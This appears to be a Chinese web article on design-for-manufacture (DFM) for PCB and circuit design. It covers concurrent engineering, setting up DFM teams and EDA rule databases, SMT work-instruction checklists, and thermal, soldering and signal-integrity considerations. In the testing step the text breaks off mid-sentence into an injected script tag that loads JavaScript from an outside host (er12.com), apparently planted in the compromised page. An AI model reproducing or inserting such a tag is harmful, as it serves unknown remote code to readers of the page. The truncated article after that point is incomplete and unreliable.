基于Web的eDFM电路设计技术

摘 要:在对可制造设计的基本理念进行初步介绍的基础上,对应用先进电气互联技术的电路pcb和整机接线图的可制造设计进行了详尽的描述。

关键词:并行工程;可制造设计;电气互联技术;现状;发展

一、可制造性设计的基本理念

1.dfm的诞生

设计卓越(dfx)的概念是20世纪90年代中期由美国表面贴装理事会首次提出的,它的目的就是提倡产品的可制造性设计及相关论题。

传统产品的研制方法通常是设计、生产制造和销售各个阶段串行完成。由于设计阶段不可能全面考虑制造要求,加之设计人员知识和经验的欠缺,总会出现这样那样的问题,这就需要设计者对设计方案进行修改,再次投入生产。要想得到较满意的产品就需要多次重复这一过程,使得产品开发周期延长,成本增高。

发达国家广泛重视的并行工程(ce,即concurrent engineering)已成为制造企业计算机集成制造系统(cims)研究和应用的热点,可制造设计(dfm,即design for manufacture)是并行工程中的主要应用工具。并行工程是对产品及其相关过程(包括制造和支持工程)进行并行、一体化设计的一种系统化的工作模式。

2.dfm基本理念

dfm正是基于并行设计的思想,在制造产品时要满足成本、性能和质量的要求,即在产品的概念化设计和详细设计阶段,就必须考虑到制造生产过程中的工艺要求、测试组装的合理性,同时还要考虑到售后服务的要求。dfm不再把设计看成为一个孤立的任务,它包括成本管理、整个系统的配合、pcb裸板的测试、元器件的组装工艺、产品质量检验和生产线的制造能力等。利用现代化设计工具电子设计自动化(eda,即eiectronic design automation)得到精确的一次性设计。

3.dfm文化

启动和建立dfm不是一件容易的事,它不仅耗费时间,而且耗费精力,但实践证明这种付出是值得的。dfm的实施战略应包括以下部分:dfm必须成为企业文化的一部分;dfm必须由用户的需求驱动;dfm必须有集体精神和创造性思维;dfm必须具备可供衡量和判断的定量目标;dfm必须简单适用。

4.dfm的建立

dfm的目标是建立和实施一种便于控制、高度优化的工艺。首先要建立一个dfm小组,由设计、制造、工艺、计划、质量等方面的代表参加,从原始资料着手,优化工艺,降低成本,建立eda数据库。eda数据库主要要考虑以下几个因素:缩短开发周期;降低生产成本;提高产品质量;利用最新技术;集成设计技术(利用并行工程)。为了解决上述问题,在电路设计和物理布线中必须考虑制造工艺后期所出现的问题。

产品设计周期中应考虑的制约因素有:基本设计成本、尺寸、封装;热设计能量损耗、通风冷却;焊接方法再流焊、波峰焊;信号完整性定时、相互干扰、emc;可测试性测试通道、夹具定位;机械性能封装、基板材料;元器件焊接、成本、利用率;基板材料、稳定性、电气性能;制造产量、成本、结尾工作;测试裸板测试、mda(生产检测分析器)、界面扫描;组装生产线的建立、机器性能、视觉系统;检验aoi、文件编制;

以smt为例,编制一份dfm作业指导书至少应包括以下内容:器件选用标准;pcb尺寸和形状要求;焊接区结构、间距尺寸的要求;标记和命名规则;印刷和配方的考虑;插装和再流的考虑;波峰焊和清洗的考虑;检测和返修的考虑;器件排布方向的要求;器件的间隔要求;基准孔和工装孔的考虑;pcb板边缘空间要求;测试盘尺寸和空间的要求;基板的排布和切割要求;引线宽度、形状和间距要求;阻焊膜和丝网印刷的考虑;环境保护的考虑;

5.dfm的实施

(1)基本设计——使用eda作出周密的一次性设计,把dfm方法列入到eda中去,使产品集成设计和制造周期中的诸因素有直观、详细的制约;

(2)热设计——具有精确模拟元件、基板以及系统热特性的热仿真eda软件能使设计师在设计阶段就能够发现热点并且可改进设计去消除热点;

(3)焊接——smt中波峰焊和再流焊的焊盘设计是不一样的。设计师在开始阶段就应该十分清楚运用哪种焊接技术,以便让cad软件包自动地根据元件位置选择波峰焊或再流焊;

(4)信号的完整性在设计的初期,就应该利用eda提供的帮助,进行简单的单元扫描以检查信号的延迟,或者进行线路板的模拟运行,从而调整元件的排列;

(5)裸板——裸板的设计制造有一定的限制,包括物理和电气两方面的制约,其物理制约包括常用的和最小的线宽以及印制线寿命;电气制约包括信号屏蔽、信号延迟等。这些制约包含在eda数据库中,一旦布线完成,设计师就应该借助eda系统提高电路性能;

(6)组装——smt技术同传统的装配技术相比,其自动化程度更高,因此eda应有smt组装数据库。利用计算机模拟生产环境,生成eda规则库;

(7)测试——eda数据?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计